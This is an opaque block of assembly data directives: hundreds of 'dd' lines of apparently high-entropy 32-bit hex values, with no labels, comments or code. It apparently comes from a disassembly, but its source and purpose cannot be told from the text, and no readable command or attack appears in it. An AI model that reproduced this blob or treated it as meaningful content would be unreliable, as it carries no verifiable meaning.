dd 0D42D99CBh, 0A32A606Ah, 0D36B0F27h, 31406CDAh, 0A8342148h
dd 0A781AF0Fh, 9A0181Eh, 35DC4842h, 3D601D00h, 204242Bh
dd 4C1C8000h, 91F1C0BCh, 2AEB00ADh, 6583394Dh, 9F28597Bh
dd 8F00F0E5h, 4453BBF6h, 6A42FDh, 0AC37C95h, 0D6BF1589h
dd 0B9B5AB00h, 0EC381E9Bh, 16C1003Ah, 64EB6E76h, 8F0039BBh
dd 1326E085h, 39E95643h, 0A5A43336h, 0A23700C8h, 0CE2BF16h
dd 6605C64h, 44CF50D2h, 714F00FCh, 0CCB58AC6h, 48C04BEDh
dd 3035DC6Dh, 1E9840EAh, 72627E00h, 212641D9h, 0D2AE00CAh
dd 11A53792h, 56FE1BEh, 14F1E460h, 3D1AC200h, 0D776154Bh
dd 8C4E7A00h, 0BBC68F0Fh, 0A17800BFh, 1AAC3E41h, 0D71C653Ch
dd 7040A6A9h, 16E653C6h, 9162012Bh, 0F563DB22h, 287C606Fh
dd 0C0C92E00h, 1A291649h, 0A7DF003Ah, 1E66C1E8h, 0F90040D8h
dd 7AB56B99h, 0A8817Dh, 57CF4C77h, 0F60C52C2h, 0E8F2E500h
dd 129F95D3h
dd 0BDA8A1F3h, 0DC6440CAh, 801900C5h, 0D3586064h, 0F973A5A2h
dd 4766B403h, 0F0B30FEDh, 76BED01Bh, 328C0071h, 220A56F5h
dd 5500B2A4h, 9F3BF1E0h, 1E119067h, 4044052Ah, 4D2F4696h
dd 6A02E051h, 5E154A69h, 73C48016h, 7E6686h, 9E46927Dh
dd 0B563751Dh, 8CD20A00h, 68785F90h, 951200CCh, 8AA37438h
dd 6A006F56h, 3047099Dh, 1D3A2B83h, 8072A26Bh, 9E816CF5h
dd 123B840Dh, 3EA50036h, 0E5352738h, 658703BEh, 0B2E1379Ah
dd 80FF76E3h, 0A2302F3h, 1493A000h, 254B356Dh, 82730FE5h
dd 6560ED70h, 0D97DACD3h, 43FF0B00h, 92A1531Ch, 819A50D7h
dd 0EB60003Fh, 0ADD237B6h, 0FB01E2CAh, 3C8BD631h, 146028D4h
dd 0D543E2Ch, 0EFD1CD80h, 0AE158163h, 94078E7Dh, 50B87B6Dh
dd 60969811h, 118011DDh, 3A1D3CC1h, 69002A5Ch, 22EF5FF5h
dd 13370Ah, 6CBC1CD5h, 0EC23F4B8h, 77807000h, 0A6A0C98Eh
dd 50530046h, 859EB14Fh, 65FFC3FFh, 0AD60EACCh, 190E432Dh
dd 0A0D83BDDh, 9CFB9193h, 255F28CCh, 8CEA80h, 7DE74A9Bh
dd 3BBC1135h, 0F5C51B00h, 0F2F08160h, 3E270037h, 57662F87h
dd 0AD00FA6Eh, 5EB8EF98h, 0CC412Bh, 0E34099D0h, 642926F7h
dd 0EC45941Ch, 252AFB40h, 43AE90h, 6AF25831h, 0DEEEAF6Fh
dd 53352B07h, 0F09CF789h, 0CC0B00B6h, 0AA5B8B05h, 21E6026h
dd 9541DAD2h, 0B769E55Ch, 39C740CEh, 65BA0075h, 19F609F1h
dd 420F2D31h, 49B4A8EEh, 62FC201Ah, 26790571h, 8028DE5Bh
dd 3C6FD601h, 673C6425h, 745D805Eh, 7A31FF87h, 5A410955h
dd 0B8037E18h, 54B06879h, 2E3A7204h, 4867AC65h, 3C247480h
dd 5C16253h, 0BB7AB14h, 6784D0E0h, 887813F0h, 28A0341Ch
dd 12897006h, 209E3890h, 0F724033Ah, 0A9131834h, 20A0EF96h
dd 0F3182C63h, 6F086D73h, 9C885CC7h, 0CC7C75h, 6314A094h
dd 9634E88Dh, 651CC850h, 34508C68h, 0C56A983h, 4748026Fh
dd 0B12986Dh, 520A0C49h, 610C1438h, 0FF6D0A3Ah, 9068CB96h
dd 340800DFh, 0AA71EF6Bh, 0F117BCEh, 9D2597B6h, 7CFA7A23h
dd 0E2FEC288h, 11D21500h, 7F72C0C4h, 6F9B0004h, 81964D4Ch
dd 6A00D6EAh, 0B411643Eh, 4AE548h, 1FBEB75Fh, 32CDC7C0h
dd 7B6E8000h, 278DB91Bh, 9A9D004Eh, 0D2C92A97h, 0BF000398h
dd 0C1443ED8h, 0EC43CF2Ch, 3AA83A0Fh, 0E5225181h, 0D0EDD390h
dd 560077A3h, 947E5FD9h, 0B0805508h, 0E221005Ch, 796DDFCh
dd 0C00C3DB9h, 0CA385B10h, 0CD70B588h, 69AA488h, 61056400h
dd 0ED0A6BD9h, 7E2B013Eh, 291F16A0h, 0D565D08Ch, 3058AF30h
dd 1237FE8Eh, 906F05D3h, 3CF6658Ch, 0A3E3481Eh, 0DF1801D3h
dd 93E418h, 5CF289EEh, 15D08D6Ah, 0BE8C351Fh, 4F38C900h
dd 60EF6377h, 0CD1F49EBh, 0DF026974h, 8FD00E7Bh, 5E2FE03Bh
dd 3B97F6ACh, 10053CA6h, 83967E17h, 0CAA06F3Dh, 180044FDh
dd 57F94201h, 0F0C46DBEh, 7E690B9Ah, 1000828Eh, 0A9EB08BFh
dd 0CF9286Fh, 53C109h, 68EE06D1h, 941C514Fh, 931D6CA0h
dd 822CCF3Eh, 6101CC39h, 842923C1h, 8033CD99h, 0F0DCAA11h
dd 7C8D9712h, 81E012A8h, 585F064Fh, 217998DEh, 0CC00BAF8h
dd 65FABB11h, 4D3A55h, 2B58B0DDh, 674973B4h, 0C60D8B00h
dd 6EFB784Eh, 430B0C11h, 4CB254BCh, 34D33000h, 0A23D6A84h
dd 3CCF496h, 24C63E70h, 0BB98D49Ah, 0EE000569h, 6786B3FCh
dd 19C5A711h, 102C8B8Fh, 7328812Bh, 0A3FF5CB0h, 0C5E51980h
dd 26C0213Ah, 677A1910h, 0DAFA7100h, 569AA1A2h, 0BB78DF00h
dd 7422D1B8h, 4879BFh, 7AA768E4h, 71FE0EB6h, 86A11600h
dd 956637D4h, 0CDE00042h, 8D805676h, 0ECF14CCBh, 353C21F6h
dd 3907011Ah, 0CABCA111h, 608AD3C0h, 0E0AEB0B6h, 873C4996h
dd 59A0F26h, 80A48EB2h, 532F5FA0h, 0C8F8E5h, 90E4DC5h
dd 2C8C3045h, 7F607672h, 3F13EE9h, 4496303Dh, 0A2208B10h
dd 80377A38h, 8A39A61Bh, 757C4E43h, 41F1DCBBh, 9DAF239Fh
dd 865087F9h, 71003A4Dh, 0C2567Fh, 0C5334C97h, 0CF1F1C42h
dd 0E7AE4700h, 0A67A8FDCh, 0B45900C1h, 721A6092h, 7C003CEDh
dd 14C36DA4h, 8FBA56h, 8B506318h, 0E6278568h, 58406963h
dd 0F0BBC9EAh, 0C1645080h, 0DEECFC18h, 448510C0h, 1E035h
dd 0DC5E9AEEh, 69090591h, 18C3AF71h, 0F02ACB88h, 0ED6C78Fh
dd 15BE7F56h, 60444C06h, 6B18DE00h, 0A2DF734Fh, 50FE3A6Ah
dd 7F809E00h, 14A1B76Fh, 0E46C1701h, 0B9667345h, 37E6D99Fh
dd 9EF3F041h, 3800ECC2h, 0D2FDA457h, 1056B2h, 923AB934h
dd 0DE7E121Eh, 473083F3h, 0B9A1493Bh, 0D0D0AFB0h, 0F91C19B2h
dd 0FCAA511Bh, 5B004B20h, 2D03D3DFh, 1E8D0Eh, 97399A93h
dd 0D8AF1D68h, 5BC088DDh, 757011A7h, 7B56F4F5h, 0FEBB007Ah
dd 0C361CB3Ch, 8319AA21h, 401147EEh, 140C044Fh, 7B1041B1h
dd 0E2013D76h, 23ED6FC1h, 0F6DC470Dh, 0C53C0310h, 0AF0AB814h
dd 0AE6F2811h, 1504A121h, 0AC083DCAh, 22CBC642h, 48272295h
dd 9E088B8h, 98C71A88h, 223A51C9h, 0AD7196E2h, 3C1BD601h
dd 0C25E3DFDh, 1AEDE4h, 7C3BF331h, 7AF12441h, 5BC0A000h
dd 10AB0609h, 95F9077Bh, 97410456h, 86ADE02Eh, 8D00658Ah
dd 0CED56A61h, 0E9A52h, 0EBBDB0A6h, 831AF36h, 0ADF76D00h
dd 929F8D78h, 2B6A0056h, 909998BCh, 0C074B19h, 8CCB1E04h
dd 0A4757Eh, 0BD55768Eh, 3A228172h, 0E9BD9B13h, 578E300h
dd 5624AAA9h, 0F519E100h, 0CF2B0223h, 607200B0h, 75411E09h
dd 0E002C20h, 50F4E63Dh, 0E6124A4Bh, 9DAB015Ch, 8E8058C9h
dd 95D85005h, 1F004F67h, 0A27DCAC2h, 9DB05B06h, 57000950h
dd 3F1B50ABh, 4734F6h, 74BE20FBh, 0D310E18h, 30C0600h
dd 0B34E6B46h, 0E86791Ch, 61CAD419h, 0D7768A80h, 9600D9F8h
dd 0BB454FEDh, 0A599Fh, 0D4B4AFF0h, 0F6337FD0h, 407BBA00h
dd 5CBF3723h, 3B3F001Eh, 0C96A2686h, 0DE00EBA3h, 31954A92h
dd 0C27399h, 9E838D7Fh, 12D4165Ch, 13D6400h, 931A56FDh
dd 62B90032h, 87A8D6C9h, 9100196Ah, 3F203CE3h, 3A5A959Bh
dd 43BA1B60h, 7E81D680h, 8E9BCD7h, 0F2CF4100h, 2A9A99EDh
dd 20EE0E71h, 96C04B2Dh, 0DB6DFF72h, 0BFA748h, 0E5D392CBh
dd 5735F9h, 0D2512DB4h, 421AFCF8h, 4A024CF0h, 0A1F6E6F0h
dd 92415573h, 31BFC039h, 0EAAC800h, 9A0F320Bh, 0AFD70784h
dd 60CFD1h, 421DB85Eh, 4DFD2F2Eh, 8E0A9326h, 0C480AC78h
dd 2854AF1Bh, 0A1E602F6h, 98BB02FCh, 9DB83EE0h, 0CF697701h
dd 2BF4D48Ch, 0D17025C5h, 486770B9h, 46240434h, 540404FBh
dd 820483CEh, 14148C4h, 7BF457FEh, 6AEE4A1h, 3300C677h
dd 1CBFBDB5h, 90E6963Ah, 850B0308h, 0FBE3B3E0h, 20981000h
dd 82DDFFC1h, 783C000Ah, 344EF46Ah, 0D9002FEBh, 0FF83BFEh
dd 24722292h, 564DE1Bh, 0C704A2B4h, 0EB326013h, 0D3008F8Bh
dd 6B54DBE0h, 0DE25B2h, 7C584B37h, 6AF13398h, 480CF0EBh
dd 34220400h, 80056F2Ch, 141D2C93h, 43003DE7h, 8330B7F4h
dd 0D40B5F4Ah, 80D5E913h, 0E4035C0Ah, 50F200DDh, 3063228Ch
dd 0DB00E576h, 0CA6141F8h, 78D20CBCh, 6E4A0F79h, 827CC33Ah
dd 0D428CB37h, 4009E540h, 2CCA3100h, 140FD6DFh, 94010307h
dd 371AB585h, 767970E8h, 0FDD39C00h, 96251DC4h, 0C6230127h
dd 843A8F0Dh, 0EC9AD4BCh, 0BF0673FAh, 2DC4E67Dh, 0F757D60h
dd 499FB455h, 0AE4A00BDh
dd 28C41344h, 665D8100h, 5CDE724Bh, 0E448C507h, 9BF400E0h
dd 0F6DAEFFAh, 0B7077C90h, 9A6F2F47h, 70FE20E0h, 38300E0h
dd 3177B6A7h, 0D60BC51Ch, 544634h, 5824FE46h, 0C0EB09C1h
dd 5080CFF2h, 4A70B00Fh, 301CA548h, 0DCC82857h, 1F2003Dh
dd 137398A1h, 1200B32Ah, 6B5FD467h, 0B4522949h, 46C800C8h
dd 0F1C24278h, 0FC6F771Ch, 0FD80DCDFh, 0B513EED0h, 735B005Dh
dd 40E96B27h, 5E17334Ah, 280EF60Ah, 61FBE17Ah, 2180652Ch
dd 3E2AF915h, 0D50CE0A1h, 186E4F09h, 437404B2h, 0C008E327h
dd 0A7A8554Fh, 0FE1D0501h, 9B7C6885h, 1FF50CF8h, 525B0ABAh
dd 0E120009Ch, 55F3CCECh, 0C8FB7D00h, 9E7FBBFDh, 9EA7743h
dd 0CC7667CBh, 0A91000DDh, 3070D8h, 0D7714960h, 43CFF7E7h
dd 0DBC5731Dh, 6B3982C0h, 55EF448h, 0D9A25A3Ah, 79100DFh
dd 0A47EFA9Dh, 8300F790h, 490355F8h, 0EFDBD3h, 0B723AF37h
dd 0D5CC4035h, 2BB4BA01h, 759D14BBh, 97FCC20h, 0EFE53EFBh
dd 720C4A0h, 4400DDC7h, 0FF3CF8B6h, 0B956E0h, 320211CAh
dd 71A88593h, 0CE23F700h, 77E264D2h, 4D500D0h, 398F58AAh
dd 6E003335h, 6F1061FAh, 0F5057EA0h, 24E878DDh, 76D005Bh
dd 0C804C6DDh, 8018916Ch, 83296ED8h, 749400A4h, 0CB432771h
dd 761F148Dh, 2DCEB862h, 1A1D401Bh, 955C47h, 0EE02BA3Ch
dd 946372C1h, 0F285F41Ch, 0A6A80BBh, 8BEA17F5h, 499C1EE3h
dd 4023DEE2h, 0B9020FD9h, 510078C5h, 878CDA5Fh, 4FABAFh
dd 10B0888Eh, 46644D03h, 0F7C55007h, 0BD09B36h, 0FB9FA5h
dd 0EE64847h, 0FF93DB2Ah, 0B86B4F00h, 6CCFD45Ch, 0BA4A0FF2h
dd 0AAE061B3h, 74450763h, 8BE0B900h, 5209CCC4h, 0CE5700D2h
dd 3EB1BBE4h, 5A00D553h, 6015C3CDh, 26507Eh, 3C1E31BCh
dd 48F61B09h, 0F76E3007h, 0E5C0FB5Ch, 1FF0C665h, 81A6735Dh
dd 6F9F3C2Ah, 7840701Bh, 46261800h, 94A5F9A1h, 2DB700DCh
dd 0F9BB884h, 2AFA2BEBh, 0A6918900h, 0CB692316h, 0C45D009Ah
dd 7CC8B027h, 0E6073B3Eh, 2F4C8B01h, 90B5BA53h, 8165CCh
dd 6EF91BC8h, 24685062h, 0D4006CE2h, 0FB3802Bh, 0E48E73h
dd 0ABE72DBCh, 0BA29822Eh, 0FBD7ED00h, 0FFDB324Ch, 72D1C01Ah
dd 3DD0C5A6h, 0AF803Bh, 0A4A36CD1h, 12D0A68h, 0C0550616h
dd 0F42F7E7Ah, 9363D757h, 0A0766529h, 2B8AD68h, 56E3387Bh
dd 2A405E9Ah, 283024F4h, 0F6B4A472h, 0D53E0032h, 52D6E8D2h
dd 0C370700Ch, 3355000h, 133355DDh, 9D9A00EAh, 1B8D4539h
dd 7C60F216h, 0A8EDA129h, 0B17511h, 281DB655h, 93AA6A51h
dd 409A5400h, 142C4B0Ah, 9B3700BEh, 172052Fh, 50F0959Fh
dd 79D8B7h, 96B98680h, 4523425Fh, 0B819B300h, 3E375897h
dd 0A4800018h, 99CCDCB6h, 0F4017155h, 698932E3h, 5DD9D601h
dd 5124BD0h, 68C97E48h, 0DF8C0754h, 0AF9AC1C8h, 82EE3055h
dd 44313A00h, 23BB1D91h, 24817B73h, 30DF367Fh, 8ED0907Eh
dd 6D61BE70h, 1E8A462Eh, 26EDD4h, 0A129EBA5h, 66C1840Eh
dd 0A77F650Ch, 73531C8h, 24869D19h, 3846D0FFh, 260F8F77h
dd 40ABAD98h, 2E943E13h, 5496000Ah, 5B372832h, 0C401ED65h
dd 5F7A076Eh, 1DF0DBA4h, 171F00AFh, 0E1ACD27Ch, 0B81D24B3h
dd 19C01402h, 0EC6C783h, 37A000EEh, 454A0856h, 5160DF34h
dd 0A6B20CD2h, 77031C66h, 0F9BD008Ch, 5AD3CC96h, 241D760Eh
dd 0F51000A9h, 1793215Fh, 490CEFh, 0D2E06A7Ch, 0DE00BCCBh
dd 5E1B072Ch, 24666F42h, 46F412h, 0F7ED4B28h, 0D409B508h
dd 553BD9h, 419754F0h, 31BD0110h, 0E9754074h, 5FCD70EEh
dd 0F586A18h, 1C9FC0h, 1064E56Bh, 955B56D8h, 0E7996100h
dd 0CFA57E8Ah, 0B77004A9h, 805A831Ch, 0B2D8EEDCh, 0EBFAA10Dh
dd 0C0F490F8h, 0EA3032D9h, 0BE005079h, 3D344032h, 0EF00D7CAh
dd 6F6EEA3Fh, 7603FA9Ch, 1F0BB3D3h, 0DA2A905Dh, 0CFF01C0h
dd 2740FE3Dh, 68F820EAh, 8C91413Ah, 386E9AA2h, 26C10009h
dd 0BAB7693Dh, 0AE3B7538h, 6B02007Eh, 0DC68FC37h, 2BBE00D9h
dd 0CCAD2744h, 7C008F9Fh, 380A11BCh, 7AFF2054h, 2ACA0030h
dd 722D4EEFh, 731EF97Eh, 924081FAh, 668BB65Ah, 0E4E230C5h
dd 82C8D2D0h, 1CA4F400h, 0B7D09F16h, 79EF009Dh, 0C9692D27h
dd 0F50C9BB9h, 0F031EDF8h, 92BB000Ah, 0FF50412Ah, 762E7FF0h
dd 0EE016B3Eh, 5871E544h, 16B9820h, 0AD36076Ah, 8156F10Eh
dd 967487F9h, 0E3C09F2Dh, 5BC00633h, 213567D1h, 5958F600h
dd 703C8EB5h, 0AE7B076Fh, 0C0E9F851h, 315EF0ACh, 7896A007h
dd 35F005C0h, 0F0CA6AE8h, 1A270084h, 6EB31E0Fh, 5A3F455Fh
dd 7DFF00AAh, 0AEA3FBEDh, 762490D5h, 0FC4E00E5h, 545E7C0Fh
dd 9B7FE79Fh, 0E027EB00h, 0F46ADBB1h, 0FDA600E1h, 20868D10h
dd 81056C42h, 0CF9D844Dh, 0A10D07FEh, 9F000B8Ah, 6F9ACD97h
dd 2D2ED605h, 0F01C07A2h, 2A5AE100h, 1639BB7h, 59DC9C44h
dd 8033C20Ch, 874CC5D0h, 52B10Bh, 7784711Bh, 0E05E64Eh
dd 8900DA77h, 767926BBh, 7A3F9757h, 0DEE024F1h, 947D80E4h
dd 0D15EF6B7h, 7B23B90Fh, 27744007h, 0F4B301A1h, 893A07FDh
dd 20EA3DE2h, 0FC9C16AEh, 6216B3B8h, 5C13351Ch, 0BE993C01h
dd 78202977h, 0B865015Dh, 28BAA963h, 20F5F994h, 0B013214h
dd 0CC50666Bh, 13C46CB3h, 4B30007Ah, 296177D5h, 7E01DA52h
dd 0ACCA7FB1h, 50805AA6h, 50FFD26Eh, 0A880CD79h, 0F02188A5h
dd 7FB4AB00h, 922B06E1h, 0CE490051h, 0A342401h, 0B200E357h
dd 3813151Dh, 50F8B983h, 387D94C2h, 9FCE0B5h, 63BAEE44h
dd 0BF00A009h, 884E32B2h, 58E8EA00h, 0AA386054h, 3EA2B01Bh
dd 8E8014B1h, 916E4097h, 0E51E022Bh, 4641C4ECh, 8598922Ah
dd 30D229D4h, 0B8E09B87h, 49003411h, 1DEAD58Eh, 0C2A64h
dd 386C09A4h, 36136BADh, 7C242F1Fh, 0FCB7CBC0h, 265787C8h
dd 80BCE57Bh, 58F9BBF0h, 0A8033F17h, 0F57AF3ACh, 872AB05Bh
dd 78F807ABh, 0A02355FBh, 1AC8C89h, 92FE1C00h, 0B98DC5B0h
dd 192212FAh, 1D1BEC29h, 80FEF8BDh, 4E5F0502h, 389147h
dd 69B484EDh, 0A8223199h, 0CE469C92h, 82164000h, 8B283EA6h
dd 0FA04514h, 0F5BD0394h, 96EC37Eh, 72F3A711h, 28860180h
dd 9D3BB061h, 0D6C20011h, 6C521236h, 0DD7002F4h, 6F0AA99Fh
dd 48B1FC60h, 0AA30C861h, 0A8306CF5h, 39560474h, 0C0DA7843h
dd 402D4CE0h, 0E92AB303h, 0EA1A4A44h, 0AB08490Ch, 6F015063h
dd 5A3A7108h, 0FF407068h, 5EBF2C00h, 3850E3F6h, 0C9820043h
dd 3BED371Eh, 8B00BEABh, 0D3CEB2B7h, 0DBC64CDh, 132A773Ah
dd 40DF60D0h, 9D731700h, 340B0E96h, 80944859h, 8C654400h
dd 27DA828Eh, 73B9A53Dh, 8041E438h, 0A6FA94B5h, 0E44F478Ah
dd 0AA820009h, 0FF58BD8h, 0D41EA077h, 1240B704h, 2AB486E3h
dd 0DC5E0149h, 5ADFAE82h, 2FB70BAh, 0D89739h, 915407A1h
dd 72D05F72h, 0C9E92C35h, 0A3F6832Ch, 40980FA6h, 140082F2h
dd 941AA10Eh, 76E093Bh, 20AFA4FDh, 0E025A7B7h, 49C7BEAAh
dd 248D5607h, 0B221A713h, 12C95548h, 4C0DA8F0h, 2F08C451h
dd 670035E6h, 7DBA8C29h, 0FE31550h, 7338F882h, 71161202h
dd 0B8806D5Dh, 66E53E0Dh, 0B0365B26h, 0A411A1Eh, 159DFF8Dh
dd 30D45020h, 1F605AEFh, 0D0007F53h, 8C5C5191h, 0D8E8E1h
dd 4BD17C3Ch, 1EF8F1CDh, 9E2E93FEh, 77007C43h, 78136304h
dd 1FED00EAh, 0D7584A34h
dd 0B03C764h, 0AF1C2F2Eh, 65AEC0E1h, 619900B9h, 8553D45Fh
dd 9500B4DFh, 7E82FAA3h, 0F0645Ch, 37D8A518h, 39F29443h
dd 9A4F3300h, 1E36CBBEh, 3A237762h, 0AD8E2BD4h, 0D62078F5h
dd 0E5EA68B6h, 77DAC300h, 289B97FBh, 38610530h, 4012947Bh
dd 5BBF11CCh, 0FC00EA9Ch, 53C72C65h, 15EB6834h, 98AC1D52h
dd 0D08E360Bh, 0E16C00A0h, 0E40084EAh, 962F06F4h, 216D85h
dd 0FC1824F8h, 0D7628048h, 4015E601h, 63398A13h, 47F90840h
dd 0EE65004Bh, 8345059h, 0E001662Bh, 0CD393F3Bh, 9824CFEBh
dd 4EC90064h, 88F1FABh, 0B152CE3Ch, 0E9662010h, 5DD9C880h
dd 25D537EFh, 0F27F4BE8h, 559F18DFh, 0DA926105h, 0F3142F80h
dd 499801B5h, 59C9A6BBh, 0CE9CE0AFh, 831DEB00h, 0C6D132E9h
dd 0CC3D03F0h, 8FAF3057h, 40A2FB91h, 0CFA954F1h, 29548CF2h
dd 0B30031A0h, 0E03A562Eh, 5C53309Fh, 0A7004E64h, 0AB1F8F57h
dd 9A30160Ah, 6AB1312Dh, 0B85360AFh, 470E5714h, 6B64CE00h
dd 56309CE1h, 8DF86Fh, 3DC7690Dh, 29988BDAh, 0D2E42C03h
dd 0D02ED153h, 9DF990h, 0F33AC34Ah, 3600897h, 66A7EE00h
dd 546B8D7Ch, 6ACF0015h, 974CD74Dh, 0E03CCD37h, 0A2650022h
dd 0B84B38EDh, 0BD010080h, 0A72E82BCh, 0B006074h, 5820E2F3h
dd 901F5Ah, 0F0E80C45h, 9C68C72h, 38B83BE8h, 3821A21Eh
dd 0A0871300h, 0C02343A7h, 506140A0h, 0CC003089h, 0DE260FC7h
dd 496B98h, 9BC62454h, 2D392AD2h, 0DB915800h, 648B3EDCh
dd 2FCE4C2Ch, 14B281Fh, 0CB9931F6h, 34F0504Fh, 7D76A438h
dd 0AFEF3D06h, 60086DD2h, 3E0E2129h, 0D55E9CA4h, 0F6687C1h
dd 0F7A0489Ch, 6A74C320h, 0CC2C63E8h, 1F5DA10h, 1AE5992Ch
dd 0D0238075h, 0E9A03132h, 11C0E4C8h, 528F3CFBh, 2F1703CEh
dd 306F662Eh, 210007A3h, 0D38D6428h, 0E8F511h, 0E7E2A919h
dd 5C305049h, 0D486A1DCh, 0A68883Ah, 2D7602E0h, 83961174h
dd 0B27EA439h, 10643165h, 0A44313h, 0F7673971h, 883709A1h
dd 0C0D92E00h, 3359A3ADh, 421E1E9Dh, 4E4D0102h, 8098C33Bh
dd 0F173DBA8h, 32E40EEh, 16CF0DD2h, 77A30C0Fh, 0E9002173h
dd 2E624EF1h, 1B5B9D3Ah, 48AC84CCh, 3DEE5810h, 0C68E3000h
dd 1562DBDFh, 0C003C4CEh, 0D8786A8Ch, 0ED98A096h, 0F2CF1D2Fh
dd 59C1471Eh, 446060ECh, 9201B10Fh, 56B743AFh, 0C9D1BD15h
dd 782DE0h, 6B444B06h, 834CB8A5h, 0B23208C6h, 0A00A0020h
dd 44BB1506h, 7F033831h, 76D871A7h, 0C1FBCD05h, 91BA9951h
dd 76805858h, 5B445106h, 2131608Ch, 16069E08h, 6C90F000h
dd 752720FDh, 44C0098h, 0B15781CFh, 15303902h, 0D04D600Bh
dd 5CC1C8C9h, 8506C1CFh, 344A7B44h, 6A20C00h, 1F4824D3h
dd 56541703h, 804E099Dh, 1BD2AB7h, 86A31C9Eh, 31CE0C2Eh
dd 0CD389FBEh, 950EF5C7h, 6893CC3h, 4528CA18h, 0A23C90B6h
dd 75080A1Ah, 534480A6h, 86065067h, 448C7344h, 6F60B30h
dd 15373Bh, 0D39676CCh, 1B3680ECh, 80AD95AAh, 0CBAE6098h
dd 0F6E0AB0Fh, 3C8BA037h, 1EE53261h, 9CA67FD4h, 90AFA5Dh
dd 3144B531h, 80C28598h, 0EBFEF7A9h, 455FD0h, 75FAF6D4h
dd 1FA637C3h, 23C3D0Ah, 1400984Dh, 0C6EA8A8Bh, 534B1C25h
dd 0D112C095h, 240BED27h, 92E13101h, 4DC8A105h, 964EB02Fh
dd 54D16A00h, 0D34B4F28h, 5A340F62h, 0E84505F5h, 0DE00BF1Dh
dd 4DF7CBFh, 0C66777D9h, 20521608h, 87E20B3Ch, 46B48D99h
dd 0D1CAF7A0h, 3A4E00Ch, 9A5416E6h, 0A7B0EDEFh, 50E1D48h
dd 0E06EABD4h, 0F4B76DCEh, 7048D94Dh, 6C42D032h, 811CF60h
dd 1D48ABEh, 4FF281D5h, 0D1F1992Dh, 1B2197FCh, 88AAC100h
dd 0ECDC0D2Ah, 0FF380117h, 4FDF4CB2h, 96D19158h, 0BB8FD480h
dd 208CBF7Ch, 273C53EFh, 0D4C8BDCh, 0C59783F2h, 0EB48F834h
dd 6E67DA2h, 0DAB0DF06h, 0FD035004h, 5841113Bh, 0A0E4D82Ah
dd 0FBAE7412h, 449C2180h, 16E7A111h, 733B8606h, 0FF1A0DDh
dd 0FC6672AEh, 0FB654460h, 1238B2EEh, 80DFBBF7h, 3E4C0D29h
dd 18B3345Eh, 0D082BD6Ch, 0B700137Dh, 96240E09h, 0AD1714h
dd 0D0CFFBA2h, 0A321D3EBh, 3006D100h, 6B82BB25h, 3C97012Dh
dd 0F1C428C2h, 75A5C0DEh, 1FA6EE3Ah, 8507E91Bh, 0B200F58Ch
dd 0EBB2949h, 0CAE04C5Eh, 4BA0CF6h, 0A633DB38h, 0D83040B2h
dd 0EF80B90h, 2F570FB3h, 65A91898h, 48D9A830h, 9C444Ah
dd 214D9D7Eh, 0B1B7A2FAh, 3BCCC200h, 83765456h, 1AB185Dh
dd 599618E1h, 7C080578h, 80FD814Bh, 33A78EDAh, 8D0371CFh
dd 837C22C5h, 0FA20EEF9h, 6767CC4h, 0D70B0CB3h, 5500E129h
dd 0D3ECFE0Ah, 0FA9FAC69h, 8AB00331h, 3D0FB42Fh, 0D2DCE1DFh
dd 29308130h, 787E862h, 0F714E70h, 3C0A83F3h, 0F1C98886h
dd 6878DF00h, 0E5EAAFD7h, 1BBA00F9h, 928EE1F8h, 0D0035A21h
dd 263EE73Bh, 0FE13B887h, 80D6000Bh, 5F31B381h, 12011909h
dd 5A9001E0h, 2080E1E3h, 0C58BEE67h, 0D21E7EDAh, 90006B9h
dd 91255E76h, 19550344h, 0C99AAA8Dh, 5400307Ch, 0B47AF4C1h
dd 6007628Ah, 424C19E8h, 0B59845D9h, 1DC4E18h, 6754A0h
dd 0EF91E125h, 0A4FD9B88h, 62061300h, 0E94D0DF3h, 0C6890046h
dd 5F09B1C2h, 0E180831h, 9041DA56h, 0E8026B30h, 6C536840h
dd 62B28D0Fh, 5ED5E118h, 21860550h, 398B610Eh, 99CABC0Ch
dd 6FF078F7h, 268020E6h, 421FA32Ah, 85770D00h, 978F4E54h
dd 0E6500036h, 1E32486h, 870FD47Eh, 6F5FD142h, 6089EFD0h
dd 1A08C3C6h, 1467C8Dh, 0BF7DB04Fh, 0F0CF1960h, 4E392DF2h
dd 0EFC7CD8h, 0CA325918h, 1F94B629h, 4C7DFEA1h, 0F43011C9h
dd 5CA23118h, 3B0AE220h, 0C8EFE9Fh, 1158E6E4h, 1200F3C2h
dd 0B59A3AA8h, 74E865B2h, 21C66FF2h, 0CF12FBE0h, 90005D3Fh
dd 0DDFA406Dh, 0AEA03h, 3644BD21h, 1FF3451h, 69B27A30h
dd 0E8009DEh, 485345F8h, 323B8143h, 2100CFB3h, 0C800E75h
dd 79472701h, 45710317h, 0A9468ACBh, 0AE6E01Fh, 3B16F6C0h
dd 0C17FA351h, 65CFE291h, 833AD1C2h, 6031379h, 3F280012h
dd 76A41FBFh, 9E3C93AEh, 0DB1D00B2h, 0EC580425h, 799F0021h
dd 50737ACBh, 38078FC5h, 0A1766389h, 9B3180AEh, 35D03Bh
dd 5BC23A0Ah, 3C2C424Eh, 55CC4500h, 0DC06E0BFh, 9E651DAEh
dd 7EE3C01Fh, 0C1B8255Ah, 7900B073h, 0B5D514D7h, 11BCAh
dd 0FE55E13Eh, 0AB9CE5F8h, 16420416h, 433A9600h, 19FE333h
dd 37723E50h, 0D0D28C79h, 47014CA9h, 1B788A04h, 5A200774h
dd 2917E3Dh, 2BE39C7Ch, 0B862BAA9h, 0F51B3D40h, 51FB0400h
dd 76836A9Fh, 7725000Ch, 7D58DECCh, 96013668h, 0F9D55330h
dd 9984D4Bh, 2E0821C4h, 0AB779600h, 52C9851Eh, 4A4C00F8h
dd 7FFB1038h, 560F147Bh, 0A0DEC87Dh, 20CA8930h, 123A0C2Bh
dd 6D0842D8h, 391921C0h, 0EDBA89h, 0D5D26A86h, 0DCE6C38Bh
dd 6E6B7903h, 3426957h, 90D85078h, 68316A98h, 7FFE4155h
dd 2E3890D6h, 20441189h, 9E70883Bh, 0A4890F2Bh, 407799C0h
dd 0E97F8047h, 0CA6D6E07h, 0CD95594h, 1BE6123h, 0F9438C2Eh
dd 0D9146C11h, 9B089819h, 0F426D721h, 56ED00D0h, 8D3003C6h
dd 0DE0D1F90h, 0C04199FFh, 0A052EFC8h, 252F8Ch, 103B21E0h
dd 0C5338C1Eh, 730B9276h, 97B0D6h, 37F7634Bh, 0D5DB1E85h
dd 0E7DD005Ch, 0B5E22D2Ah, 9C7D0E78h, 9B4C3C00h, 9698F153h
dd 7E73004Ah, 0DADF7749h
dd 0B207DB8Ch, 0DEA76D94h, 0EEFAA680h, 0E41F1D18h, 0C0321FB5h
